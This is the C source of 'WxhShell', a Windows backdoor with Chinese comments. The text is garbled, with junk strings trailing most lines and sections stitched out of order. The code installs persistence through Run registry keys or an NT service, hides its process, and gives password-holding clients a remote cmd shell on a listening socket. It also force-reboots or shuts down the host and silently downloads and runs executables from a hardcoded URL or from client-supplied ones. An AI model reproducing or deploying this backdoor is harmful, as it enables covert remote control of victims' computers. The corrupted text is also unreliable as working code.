    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ('lnQD.Hd  
    if(Boot(SHUTDOWN)) 7 %|>7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V8sY7QK=  
    else { qnS7z%H8  
    closesocket(wsh); IY19G U9  
    ExitThread(0); ~>C>LH>8  
    } kp6x6%{K\  
    break; M[{Cy[ta  
    } 7_3O]e[8  
  // 获取shell "J.jmR;  
  case 's': { P X0#X=$  
    CmdShell(wsh); }dHiW:J>  
    closesocket(wsh); u#,]>;  
    ExitThread(0); 4bBxZY  
    break; 9F+bWo_m  
  } >ahj|pm  
  // 退出 Yo(B8}?0!  
  case 'x': { i\ Vpp8<B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NN:TT\!v  
    CloseIt(wsh); ;MMFF{  
    break; >YfOR%mS4  
    } L)+ eM&W  
  // 离开 U .Od  
  case 'q': { bGJUu#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5QSmim  
    closesocket(wsh); @j (jOe  
    WSACleanup(); :kVV.a#g  
    exit(1); L C7LO  
    break; &wuV}S 7  
        } !kcg#+s91  
  } .'a|St  
  } mr1}e VM~!  
y|dXxd9  
  // 提示信息 uqUo4z5T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z:v1?v  
} _UBI,Dg]  
  } '=H^m D+gl  
qck/b  
  return; +B m+Pj>  
} ) G{v>Z ,  
3XnXQ/({  
// shell模块句柄 $"8k|^Z3  
int CmdShell(SOCKET sock) w!}1oy  
{ 6a?y $+pr  
STARTUPINFO si; (*RybKoaA  
ZeroMemory(&si,sizeof(si)); l(5-Cr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t0>{0 5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yd72y'zi  
PROCESS_INFORMATION ProcessInfo; Wj:QC<5 v  
char cmdline[]="cmd"; a  98  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (<l2 ^H  
  return 0; v'!Nt k  
} 3+-(;>>\  
Q]wM/7  
// 自身启动模式 wuzz%9;@B  
int StartFromService(void) XNU qZ-M :  
{ [&CM-` N  
typedef struct a~* V  
{ ^kr)U8  
  DWORD ExitStatus; W/>?1+r.Z  
  DWORD PebBaseAddress; iy]}1((hR  
  DWORD AffinityMask; $3TTHS o  
  DWORD BasePriority; !I[n|r"  
  ULONG UniqueProcessId; 7fay:_  
  ULONG InheritedFromUniqueProcessId; $vBU}~l7  
}   PROCESS_BASIC_INFORMATION; (L >[,YO9  
UTQKlwPa  
PROCNTQSIP NtQueryInformationProcess; HD{`w1vcN  
5E!m! nBZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B`scuLl3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qN[7zsaj  
N%f!B"NQ  
  HANDLE             hProcess;  nvPE N  
  PROCESS_BASIC_INFORMATION pbi; x+cF1 N2.  
H/k W :k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n@;x!c< +  
  if(NULL == hInst ) return 0; $3'+V_CZ3  
L"iyjL<M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~ ZL`E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ak) -OL1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X~he36-+<  
XO#)i6}G  
  if (!NtQueryInformationProcess) return 0; 9|?Lz  
Qcy`O m^2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N1~V +_mM  
  if(!hProcess) return 0;  |{)xC=  
(nD$%/uK'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yXA f  
BozK!"R_<  
  CloseHandle(hProcess); <83gn :$  
qb4;l\SfT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c@-K  
if(hProcess==NULL) return 0; Zd U{`>v  
\83A|+k  
HMODULE hMod; 3Jm'q,TC  
char procName[255]; i=UTc1  
unsigned long cbNeeded; 7f%Qc %B  
NNw d;AC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hIQ[:f  
n u8j_grW  
  CloseHandle(hProcess); q#&#*6 )B  
}t2pIkF;  
if(strstr(procName,"services")) return 1; // 以服务启动 IZ0$=aB7  
En9]x"_  
  return 0; // 注册表启动 \TB%N1^  
} SMO%sZ]  
2 dD<]  
// 主模块 0?us]lx  
int StartWxhshell(LPSTR lpCmdLine) r?nV Sb|[  
{ 'UVv(-  
  SOCKET wsl; 'ZH<g8:=@  
BOOL val=TRUE; iM|"H..  
  int port=0; =)- Q?1q  
  struct sockaddr_in door; qH Ga  
^:!(jiH  
  if(wscfg.ws_autoins) Install(); @xm~T|[7  
g#b u_E61B  
port=atoi(lpCmdLine); g!p_c  
G;HlII9x[  
if(port<=0) port=wscfg.ws_port; $SzCVWS  
A>t!/_"  
  WSADATA data; zI&4k..4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y3nm!tjyM  
C^ " Hj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O)xEF~DaD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6IY}SI0N  
  door.sin_family = AF_INET; tnF9Vj[#%_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mvA xx`jc  
  door.sin_port = htons(port); *:T>~ilF  
s`iNbW="  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cL)rjty2  
closesocket(wsl); c =N]! ,MO  
return 1; bEQtVe@`  
} j]B $(pt  
boF4d'g"  
  if(listen(wsl,2) == INVALID_SOCKET) { {9Mdt`WL  
closesocket(wsl); "h^#<bPN  
return 1; 8gtCY~m  
} 3.<6;?  
  Wxhshell(wsl); G#n^@kc*,  
  WSACleanup(); Sd\IGy{a  
i9\\evJs  
return 0; 12d}#G<q-  
%wjB)Mae  
} :uwRuPI  
mrhp)yF  
// 以NT服务方式启动 @ oz&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *[xNp[4EU  
{ ;WS7.  
DWORD   status = 0; QR5,_wJ&  
  DWORD   specificError = 0xfffffff; (: TGev  
sMfFm@\N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K"k"ml<4E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]PzTl {]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y/}VtD  
  serviceStatus.dwWin32ExitCode     = 0; c_z/At;4  
  serviceStatus.dwServiceSpecificExitCode = 0; L_gsG|xX  
  serviceStatus.dwCheckPoint       = 0; aC,vh1")F  
  serviceStatus.dwWaitHint       = 0; 0"kE^=  
e.}3OK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LD~Jbq  
  if (hServiceStatusHandle==0) return; `F2*o47|t  
3_oD[ ])A  
status = GetLastError(); *)NR$9lGv  
  if (status!=NO_ERROR) B)DC,+@$  
{ Jl> at  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D){"fw+b  
    serviceStatus.dwCheckPoint       = 0; )pS_+ZF  
    serviceStatus.dwWaitHint       = 0; V^ fGRA  
    serviceStatus.dwWin32ExitCode     = status; @r/Id{pCI  
    serviceStatus.dwServiceSpecificExitCode = specificError; (]}x[F9l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cPx ~|,)l  
    return; \ L9?69B~  
  } V8nz-DL{  
g^z5fFLg/8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :n+y/6 *  
  serviceStatus.dwCheckPoint       = 0; B15O,sL&W  
  serviceStatus.dwWaitHint       = 0; @7Rt4}g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); vz yNc'  
} FI`nRFq)C  
(pE\nuA\  
// 处理NT服务事件,比如:启动、停止 V/(`Ek-  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  \Z\IK  
{ Uin k  
switch(fdwControl) Ho)t=qn  
{ &N/|(<CB  
case SERVICE_CONTROL_STOP: ~ ^rey  
  serviceStatus.dwWin32ExitCode = 0; 'z +$3\5L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ez^*M:K  
  serviceStatus.dwCheckPoint   = 0; Q$?7)yyu+  
  serviceStatus.dwWaitHint     = 0; 7cUR.PI#Q  
  { %UUp=I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ok}{jwJ%W;  
  } o\@ A2r3  
  return; agU%z:M{  
case SERVICE_CONTROL_PAUSE: N"YK@)*Q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n&0mz1rw  
  break; T .Pklty  
case SERVICE_CONTROL_CONTINUE: L9{mYA]q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6z9R1&~%  
  break; ;}n9y ci#  
case SERVICE_CONTROL_INTERROGATE: u#41osUVW>  
  break; Uh3wj|0  
}; B_SZ?o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @tr&R==([  
} |TB@@ 2Ky&  
lBlSNDs  
// 标准应用程序主函数 |t4Gz1"q=8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tn4W\?R  
{ $z2 xZqe  
"ibK1}-  
// 获取操作系统版本 lL:KaQ0E  
OsIsNt=GetOsVer(); A~6%,q@^jh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qb!!J4| !  
z'?7]C2b  
  // 从命令行安装 :LZ-da"QR  
  if(strpbrk(lpCmdLine,"iI")) Install(); f$1Gu  
CN\|_y  
  // 下载执行文件 K/f>f;c  
if(wscfg.ws_downexe) { FF%\g J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OwG6i|q  
  WinExec(wscfg.ws_filenam,SW_HIDE); +={  
} *F\T}k7  
mJ0}DJiX$  
if(!OsIsNt) { ZR!cQ oV=  
// 如果时win9x,隐藏进程并且设置为注册表启动  OLk9A  
HideProc(); 3)6+1Yc  
StartWxhshell(lpCmdLine); %^a]J"Ydi8  
} L!bfh`  
else =oo[ Eyr  
  if(StartFromService()) $R A4U<  
  // 以服务方式启动 gHQPhe#n  
  StartServiceCtrlDispatcher(DispatchTable); TqS2!/jp  
else dV5PhP>6  
  // 普通方式启动 'ox0o:  
  StartWxhshell(lpCmdLine); [kPD`be2#  
d{QMST2&  
return 0; &_"ORqn&  
} ^y&q5p jj  
;\<""Yj@l  
\p5|}<Sr)  
zb"rMzCH  
=========================================== SQh+5  
! 9d _Gf-  
#d7N| 9_  
!OPSSP]-  
,9=gVW{  
J+{Ou rWt  
" 8K|J:[7  
lbQ6 a  
#include <stdio.h> P7's8KOoS  
#include <string.h> 1i4WWK7k  
#include <windows.h> yJDeX1+,  
#include <winsock2.h> dv"as4~%  
#include <winsvc.h> f'1(y\_fb  
#include <urlmon.h> c*N50%=4  
{I4%   
#pragma comment (lib, "Ws2_32.lib") @)o0GHNP  
#pragma comment (lib, "urlmon.lib") rpUy$qrRc  
mbF(tSy  
#define MAX_USER   100 // 最大客户端连接数 rei 8LW  
#define BUF_SOCK   200 // sock buffer n4^~gT%b5]  
#define KEY_BUFF   255 // 输入 buffer L<bYRGz  
J"diFz+20  
#define REBOOT     0   // 重启 fx<FIj7  
#define SHUTDOWN   1   // 关机 9 0X?1  
HwB {8S?sm  
#define DEF_PORT   5000 // 监听端口 znt)]>f#  
{bT9VZ>  
#define REG_LEN     16   // 注册表键长度 k) "ao2iXL  
#define SVC_LEN     80   // NT服务名长度 uCw>}3  
Dt W*n1Bt  
// 从dll定义API `&7mHa61  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #":: ' ?,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fi=0{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dw~[9oh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ):3MYSqX  
*~c qr  
// wxhshell配置信息 v9u<F6  
struct WSCFG { ERF,tLa!  
  int ws_port;         // 监听端口 w'A tf  
  char ws_passstr[REG_LEN]; // 口令 '0 ]r<O  
  int ws_autoins;       // 安装标记, 1=yes 0=no E_~x==cb  
  char ws_regname[REG_LEN]; // 注册表键名 QS^~77q  
  char ws_svcname[REG_LEN]; // 服务名 BU!#z(vU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J5;5-:N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xZX`%f-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s8^~NX(xdy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 88 {1mA,v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fO6[!M(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xPt*CB  
7skljw(  
}; /?Vdqci  
_l<mu?"  
// default Wxhshell configuration cg,Ua!c  
struct WSCFG wscfg={DEF_PORT, @@Q6TB  
    "xuhuanlingzhe", (z/jMMms  
    1, j?xk&  
    "Wxhshell", D z@1rc<B  
    "Wxhshell", \SOeTn+  
            "WxhShell Service", $ADPV,*gG  
    "Wrsky Windows CmdShell Service", "qawq0P8Z  
    "Please Input Your Password: ", |k6Ox*  
  1, Axlm<3<wf"  
  "http://www.wrsky.com/wxhshell.exe", IK'F{QPH  
  "Wxhshell.exe" b vRB  
    }; gY!N3 *:  
lkb2?2\+  
// 消息定义模块 _%{0?|=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %%&e"&7HE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z$|;-u|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B52yaG8C  
char *msg_ws_ext="\n\rExit."; @T ysXx  
char *msg_ws_end="\n\rQuit."; +oZH?N4yaM  
char *msg_ws_boot="\n\rReboot..."; b0 &  
char *msg_ws_poff="\n\rShutdown..."; +Qs!Nhsq  
char *msg_ws_down="\n\rSave to "; TiyUr [  
m2(E>raV6  
char *msg_ws_err="\n\rErr!"; DVh)w}v  
char *msg_ws_ok="\n\rOK!"; <4c%Q)  
pA.._8(t  
char ExeFile[MAX_PATH]; qp>N^)>  
int nUser = 0; -(9O6)Rs$  
HANDLE handles[MAX_USER]; 7Lg7ei2mN7  
int OsIsNt; } Gr&w-v  
n?:2.S.8  
SERVICE_STATUS       serviceStatus; ]v\^&7pW  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;'}'5nO=$  
&cc9}V)M  
// 函数声明 mw4JQ\  
int Install(void); -w]/7cH  
int Uninstall(void); P$ucL~r  
int DownloadFile(char *sURL, SOCKET wsh); oxfF`L"  
int Boot(int flag);  <B )   
void HideProc(void); :3^dF}>  
int GetOsVer(void); fagM7)x  
int Wxhshell(SOCKET wsl); #Ao !>qCE  
void TalkWithClient(void *cs); 1[-vD=  
int CmdShell(SOCKET sock); `*aBRwvK~  
int StartFromService(void); Lc]1$  
int StartWxhshell(LPSTR lpCmdLine); 2JZdw  
fQU{SjG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z]=8eV\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v L}T~_=3  
tuLH}tkNY  
// 数据结构和表定义 3+(z_!Qh  
SERVICE_TABLE_ENTRY DispatchTable[] = ?YBaO,G9o  
{ ]g,lRG  
{wscfg.ws_svcname, NTServiceMain}, *~2cG;B"e  
{NULL, NULL} Pu;yEh  
}; L^FcS\r;  
Ie@Jb{ x  
// 自我安装 % 5z gd>  
int Install(void) DnFjEP^  
{ XA{F:%  
  char svExeFile[MAX_PATH]; m5*[t7@%  
  HKEY key; :Fe_,[FR  
  strcpy(svExeFile,ExeFile); =K(JqSw+M  
fx)KNm8Lx  
// 如果是win9x系统,修改注册表设为自启动 _ym"m,,7?  
if(!OsIsNt) { =45W\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kRlA4h1u_$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q]FBl}nwl%  
  RegCloseKey(key); 9S>g6}[E#0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +sf .PSz$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !^WHZv4  
  RegCloseKey(key); h5GU9M  
  return 0; z vO:"w}  
    } P :k+ y$  
  } &= eYr{  
} 8(lR!!=q  
else { ^DB{qU  
S6sq#kcH  
// 如果是NT以上系统,安装为系统服务 @AQwr#R"l  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `}fw1X5L  
if (schSCManager!=0) |cd-!iJX-  
{ (3;@^S4&w  
  SC_HANDLE schService = CreateService zzIr2so  
  ( ~<)vKk  
  schSCManager, #xT!E:W '  
  wscfg.ws_svcname, }x:f%Z5h  
  wscfg.ws_svcdisp, -RMi8{  
  SERVICE_ALL_ACCESS, Ef@,hX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ck'aHe22'  
  SERVICE_AUTO_START, cb$-6ZE/  
  SERVICE_ERROR_NORMAL, & mt)d  
  svExeFile, vt1lR5  
  NULL, !{Z~<Ky  
  NULL, LFf`K)q  
  NULL, QyGnDomQ  
  NULL, <9eu1^g  
  NULL zT#`qCbT'J  
  ); : ]WqfR)#  
  if (schService!=0) 0* F}o)n/m  
  { sKL:p3r  
  CloseServiceHandle(schService); $,27pkwHeW  
  CloseServiceHandle(schSCManager); f.6~x$:)`E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rs-,0'z,7  
  strcat(svExeFile,wscfg.ws_svcname); 73F5d/n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y)|N"f;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .`p&ATg v  
  RegCloseKey(key); [L(h G a  
  return 0; 7%;_kFRV  
    } p2 %  
  } ig+4S[L~n  
  CloseServiceHandle(schSCManager); [[+ pMI  
} +TJ EG?o  
} GP a`e  
c#cx>wq9  
return 1; k)7{Y9_No  
} X}A'Cg0y  
V/%~F6e  
// 自我卸载 V diJ>d[  
int Uninstall(void) #FH[hRo=6  
{ "r'ozf2 \  
  HKEY key; s?C&s|'.  
@xAfZb2E  
if(!OsIsNt) { e0HfP v_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F]+~x/!  
  RegDeleteValue(key,wscfg.ws_regname); j/!H$0PN  
  RegCloseKey(key); q(IQa@$SR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?cy4&]s  
  RegDeleteValue(key,wscfg.ws_regname); @It>*B yB.  
  RegCloseKey(key); & E}mX]t  
  return 0; z=Cr7-  
  } mUoIJ3fv_,  
} s60 TxB  
} )> a B  
else { 5&!c7$K0  
{XCf-{a]~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9KuD(EJS  
if (schSCManager!=0) quxdG>8  
{ * ?Jz2[B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `3_lI~=eH  
  if (schService!=0) CH#k(sy  
  { f 2YLk  
  if(DeleteService(schService)!=0) { bBc-^  
  CloseServiceHandle(schService); c1XX~8  
  CloseServiceHandle(schSCManager); f!_ ctp  
  return 0; SU.ythU2,c  
  } MXtkP1A `  
  CloseServiceHandle(schService); K9Hqq7"%  
  } sW@krBxMv  
  CloseServiceHandle(schSCManager); 3G}AH E4  
} 5Wx~ZQZ  
} {w6/[ -^  
`Ityi}  
return 1; .ic:`1  
} ]/X(V|t  
RP4Ku9hk  
// 从指定url下载文件 ~ 5"JzT  
int DownloadFile(char *sURL, SOCKET wsh) @OpNHQat9  
{ /0MDISQy9  
  HRESULT hr; G4 _,  
char seps[]= "/"; ?Bi*1V<R  
char *token; z(y*hazK  
char *file; Di.3113t  
char myURL[MAX_PATH]; "Zv~QwC  
char myFILE[MAX_PATH]; $A_]:qI2  
<If35Z)~  
strcpy(myURL,sURL); Q>< 0[EPj3  
  token=strtok(myURL,seps); <.K4JlbT  
  while(token!=NULL) 9LJZ-/Wq  
  { YX*x&5]lq  
    file=token; 8+Llx  
  token=strtok(NULL,seps); c3%@Wj:fo  
  } `{v?6:G:Q  
BqK(DH^9N  
GetCurrentDirectory(MAX_PATH,myFILE); !~i' -4]  
strcat(myFILE, "\\"); i]{1^pKq  
strcat(myFILE, file); 3>M&D20Z  
  send(wsh,myFILE,strlen(myFILE),0); !U%T&?E l  
send(wsh,"...",3,0);  >w6taX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fh8j2S9J  
  if(hr==S_OK) s"KJiQKGM  
return 0; ),:c+~@@kT  
else Gbpw5n;e  
return 1; rZXrT}Xh{W  
2S[-$9  
} 5Qwh(C^H  
y] oaO+  
// 系统电源模块 Io`P,l:  
int Boot(int flag) qy1F* kY  
{ hB;VCg8  
  HANDLE hToken; |KI UgI  
  TOKEN_PRIVILEGES tkp; 4bVO9aUG{  
<6TT)t<h  
  if(OsIsNt) { 2-*V=El  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J5Z%ImiT^O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^ <`(lyph  
    tkp.PrivilegeCount = 1; Jb_1LZ) ]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `O?T.p)   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @&F@I3`{  
if(flag==REBOOT) { oTjyN\?H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2NGe C0=  
  return 0; p/Sbt/R  
} uQ$^;Pr  
else { :'L2J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CbBSFKM  
  return 0; /wShUR{  
} eYUr-rN+)z  
  } uE/T2BX*  
  else { .0 )Y  
if(flag==REBOOT) { Rgy- OA  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f>o,N{|  
  return 0; inb^$v  
} [jdFA<Is  
else { INs!Ame2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e1myH6$W  
  return 0; %VJ85^B3  
} R:-JkV>e:  
} asiov[o;  
6d[_G$'nk  
return 1; :#E*Y8-  
} @:0ddb71  
@!N-RQ&A  
// win9x进程隐藏模块 bu7'oB~:V^  
void HideProc(void) 2aZw[7s  
{ %_-zWVJ  
wm{3&m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -ezY= 0Q&  
  if ( hKernel != NULL ) B5V_e!*5F*  
  { J&/lx${  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JG[o"&Sd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); thi1kJ`L  
    FreeLibrary(hKernel); _mvxsG  
  } [H\:pP8t  
54;J8XT7  
return; WL,&-*JAW  
} rB~W Iu  
=h6 sPJ  
// 获取操作系统版本 b !@Sn/  
int GetOsVer(void) ,Y?sfp  
{ yH 9!GS#  
  OSVERSIONINFO winfo; |s#'dS;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @$"J|s3M  
  GetVersionEx(&winfo); mffn//QS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NgCuFL(Ic  
  return 1;  XY.5Rno4  
  else @RFs/'  
  return 0; \I-#1M  
} TC~Q G$NW  
ne61}F"E  
// 客户端句柄模块 87)zCq  
int Wxhshell(SOCKET wsl) P7ph}mB  
{ P&d"V<  
  SOCKET wsh; b*;"q9u5  
  struct sockaddr_in client; 2$_9cF Wm  
  DWORD myID; XoL JL]+?  
[ xOzzp4  
  while(nUser<MAX_USER) ;= j@, yu  
{ k:2QuG^  
  int nSize=sizeof(client); C 3hv*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x^|Vaf  
  if(wsh==INVALID_SOCKET) return 1; IEjP<pLe  
x83 !C}4:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6iEhsL&K  
if(handles[nUser]==0) i&njqK!wS  
  closesocket(wsh); ]q- g[e'  
else .6O"| Mqb  
  nUser++; f)c~cJz<q  
  } Q$obOEr2(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )%SkJ  
x:vu'A  
  return 0; /( .6bv  
} ;!91^Tl  
k4qp u=@U  
// 关闭 socket e__@GBG  
void CloseIt(SOCKET wsh) Ftw;Yz  
{ l$K,#P<)  
closesocket(wsh); AM"Nn L"  
nUser--; 4!asT;`'  
ExitThread(0); Q6o(']0  
} R1F5-#?'E  
{7!UQrm<  
// 客户端请求句柄 )eUW5 tS  
void TalkWithClient(void *cs) Zh5RwQNE~  
{ p~ C.IG  
VL[R(a6c <  
  SOCKET wsh=(SOCKET)cs; -/_L*oYli  
  char pwd[SVC_LEN]; AC O)Dt(Y  
  char cmd[KEY_BUFF]; GV)<Q^9  
char chr[1]; A^ _a3$,0  
int i,j; !zPG? q]3  
"dR |[a<#g  
  while (nUser < MAX_USER) { $M_x!f'{>  
RH}A  
if(wscfg.ws_passstr) { =X?\MVWB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) \Y7&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i>EgG5iJ  
  //ZeroMemory(pwd,KEY_BUFF); 7NC=*A~  
      i=0; < B_Vc:Q  
  while(i<SVC_LEN) { K =.%$A  
w;Q;[:y  
  // 设置超时 cPgfTT  
  fd_set FdRead; 7r|(}S  
  struct timeval TimeOut; Q0Nyqhvi  
  FD_ZERO(&FdRead); -(`OcGM'L  
  FD_SET(wsh,&FdRead); L=2y57&Y  
  TimeOut.tv_sec=8; QDpEb=|S  
  TimeOut.tv_usec=0; iv phlw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n~g)I&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]zO/A4  
:16P.z1L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T!wo2EzE  
  pwd=chr[0]; Te2zK7:  
  if(chr[0]==0xd || chr[0]==0xa) { < RCLI|  
  pwd=0; Rwr 2gMt7  
  break; )s1Ib4C  
  } K:' q>D@  
  i++; ]$U xCu  
    } \#68;)+=  
Q]rD}Ckv-  
  // 如果是非法用户,关闭 socket >5R <;#8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J$~<V IX  
} _U;eN|Ww  
"cTncL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [-&L8Un  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <foCb%$(?  
%>gW9}kB  
while(1) { #W.vX?-'0  
y=Mq(c:'UN  
  ZeroMemory(cmd,KEY_BUFF); b':|uu*/  
}F+zs*S  
      // 自动支持客户端 telnet标准   Qu,8t 8  
  j=0; d:G]1k;z  
  while(j<KEY_BUFF) { I@Xn3oN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O]f/r,4@  
  cmd[j]=chr[0]; \rykBxs  
  if(chr[0]==0xa || chr[0]==0xd) { mMMQ|ea  
  cmd[j]=0; o ]IjK  
  break; IVr 2y8K  
  } >NB?& |  
  j++; %4 \OPw&  
    } 9WJz~SP+vR  
E~<`/s  
  // 下载文件 IrMl:+t\  
  if(strstr(cmd,"http://")) { RE.r4uOJg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9Lh|DK,nV/  
  if(DownloadFile(cmd,wsh)) .To;"D;j,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); syip;;  
  else l!#m&'16"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]|_\xO(  
  } T32BnmB{  
  else { .qk]$LJF7  
